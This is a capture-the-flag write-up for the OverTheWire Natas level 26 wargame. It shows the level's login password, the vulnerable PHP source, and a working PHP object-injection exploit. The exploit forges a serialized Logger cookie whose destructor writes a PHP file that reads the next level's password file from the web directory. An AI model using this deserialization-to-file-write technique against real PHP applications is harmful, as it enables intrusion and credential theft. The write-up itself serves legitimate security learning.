Natas26
Username: natas26
Password: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
URL: http://natas26.natas.labs.overthewire.org
<?php
// sry, this is ugly as hell.
// cheers kaliman ;)
// - morla
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = "/tmp/natas26_" . $file . ".log";
// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$initMsg);
fclose($fd);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
function showImage($filename){
if(file_exists($filename))
echo "<img src=\"$filename\">";
}
function drawImage($filename){
$img=imagecreatetruecolor(400,300);
drawFromUserdata($img);
imagepng($img,$filename);
imagedestroy($img);
}
function drawFromUserdata($img){
if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$_GET["x1"], $_GET["y1"],
$_GET["x2"], $_GET["y2"], $color);
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
if($drawing)
foreach($drawing as $object)
if( array_key_exists("x1", $object) &&
array_key_exists("y1", $object) &&
array_key_exists("x2", $object) &&
array_key_exists("y2", $object)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$object["x1"],$object["y1"],
$object["x2"] ,$object["y2"] ,$color);
}
}
}
function storeData(){
$new_object=array();
if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$new_object["x1"]=$_GET["x1"];
$new_object["y1"]=$_GET["y1"];
$new_object["x2"]=$_GET["x2"];
$new_object["y2"]=$_GET["y2"];
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
}
else{
// create new array
$drawing=array();
}
$drawing[]=$new_object;
setcookie("drawing",base64_encode(serialize($drawing)));
}
?>
I only looked at the last line copying it into this post and it's serializing the drawling into the drawing
cookie, which makes me think it's going to unserialize it hopefully unsafely somewhere.
My initial thought is since we have a Logger class, we can log something to /tmp/myfile.php
, then open that as the image. (Spoiler: it doesn't work exactly like this, but part of this is right).
PHP Serialization && Deserialization
Reading a really great explanation here:
https://programming.vip/docs/php-serialization-and-deserialization.html
We can define an object of a class, can we arbitrarily call functions?
My first thought was to serialize the logger class with $this->logFile
and set the logfile to be a a file in /tmp
with a .sh / .php extension and write code to read the natas27 password. The final step would be to run it on natas9.
Alright so a little more testing locally, we can see that at least in the docker container, PHP WON'T preserve permissions:

This was annoying, but it's still on the right track. I can write arbitrary files, but I cannot execute them as just any user.
The exploit
So after figuring out that we can write arbitrary PHP files with natas26 as the user, we have to then be able to execute them as natas26 to read the password for natas27. Trying to write directly to the /var/www/natas/natas26/
directory gave me a permission denied, which is fair I would have been able to overwrite the index and that would mess up the challenge for everyone.
After looking through the source again, I noticed that there was a showImage
function. This tells me that the image is being saved on the server somewhere such that it can be served to the browser.
function showImage($filename){
if(file_exists($filename))
echo "<img src=\"$filename\">";
}
Checking one of the images on the natas26 page, the image was stored at img/natas26_PHPSESSIONIDHERE.png
. This means we can write our PHP file to the /var/www/natas/natas26/img/
directory.
To serialize all this information I used the following file ran locally in the super useful docker container from the previous challenge.
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="<?php\necho file_get_contents('/etc/natas_webpass/natas27');\n?>";
$this->logFile = $file;
// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$initMsg);
fclose($fd);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
$file = "/var/www/natas/natas26/img/doot26.php";
$class = new Logger($file);
// Serialize and base64_encode
setcookie("drawing", base64_encode(serialize($class)));
?>
This PHP file copies the Logger object from natas26.php
with a change to the exit message. Since we are passing in a serialized class, it has already been constructed, so changing the constructor or initial message won't do any good. The exit message is the message that will be logged to the logFile
on destruction, so it is set to the PHP payload to read the natas27 password. The rest of the lines just pass the file into the Logger, then saves the serialized and base64 encoded class to the drawing cookie just like the challenge does so I can copy it over to the challenge.

Here is the result of the code, a base64 encoded serialized object. Copying that into the drawing cookie for the challenge site and refreshing the page gives us an error that the Logger class can't be used as an array, but that's irrelevant. Requesting /img/doot26.php
gets us the password.
